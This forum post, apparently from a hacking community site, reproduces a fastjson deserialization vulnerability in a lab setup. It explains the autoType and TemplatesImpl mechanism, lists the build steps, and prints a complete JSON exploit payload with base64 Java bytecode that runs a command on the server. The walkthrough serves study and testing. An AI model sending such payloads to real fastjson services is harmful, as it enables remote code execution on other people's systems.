Jump to content

Title: Fastjson deserialization arbitrary command execution vulnerability

Featured Replies

Posted

fastjson 反序列化任意命令执行漏洞

漏洞原理

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

https://github.com/shengqi158/fastjson-remote-code-execute-poc

In the process of parsing json, fastjson supports the use of autoType to instantiate a specific class and fills its attribute value through json. The JDK's own class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl has a private property_bytecodes, and some methods will execute the Java bytecode contained in this value.

Therefore, if you want to use the _bytecodes attribute of TemplatesImpl to execute arbitrary commands, there are several conditions:

The target website uses the fastjson library to parse json

Feature.SupportNonPublicField is set during parsing, otherwise it does not support incoming private properties.

The TemplatesImpl class exists in the jdk used by the target

Of course, it is not ruled out that there are other methods that do not require TemplatesImpl

漏洞复现

The directory structure of this environment is as follows:

src This project source code

main/java java class

IndexFilter.java web source code

Poc.java POC source code

pom.xml configuration file, using maven, you can directly compile this project into a war package

exploit.php reads compiled POC bytecode and converts it to base64

fastjson-1.0.war The packaged web environment can be directly placed under tomcat to run

生成字节码

The first step is to write a Java class and execute commands in this class. Then compile the class, get the .class file, and get the bytecode.

Modify the command you want to execute in Poc.java, and then use maven to compile this project in this directory to generate target/classes/Poc.class:

1

mvn compile

If maven is not installed, you can also use the WEB-INF/classes/Poc.class in the compressed package fastjson-1.0.war directly. This class file I have compiled is read in exploit.php.

构造POC

After generating the .class file, base64 encoding of the content of the file and place it in json at the value of _bytecodes, as follows:

1

{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl','_bytecodes':['yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBA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vcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2 YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABF qYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3 M7ACEABQAHAAAAAAAEACAAAAAAAAAAJAAIACgAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAAAEAAEAE AABABEAEgABAAoAABJAAAAABAAAAAAGxAAAAAAAAGALAAAAAABgABAAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAAEAEwAUAAAAAAABABUAFgACAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAFgACAAAAAAAAQAXABgAAWABEAGQACAAOAAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwA GTLEAAAACAAsAAAAKAAAAAAZAAAGAGgAMAAAAFgACAAAAACQAfACAAAAAIAIAEAIQAOAAEADwAAAAQAAQAiAAAEAIwAAAAAAAAAAAJA=='],'_name':'a.b','_tfactory':{ },'_outputProperties':{ },'_version':'1.0','allowedProtocols':'all'}

If you want to use a compiled .class file, you can directly execute php exploit.php to obtain POC:

20190609163619.png-water_print

Compiled with jdk1.8, the command executed is touch /tmp/success, so the execution will fail under Windows. Windows users please modify Poc.java by themselves and generate their own POC.

漏洞利用

The target is a web application, and the access returns "Hello world". Normally, a json is POST, and the target will extract the name and age in the json object and splice it into one sentence to return:

20190609163632.png-water_print

Send the POC obtained in step 2 and execute the command successfully:

20190609163643.png-water_print

20190609163653.png-water_print

As shown in the figure above, the /tmp/success file was successfully created.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.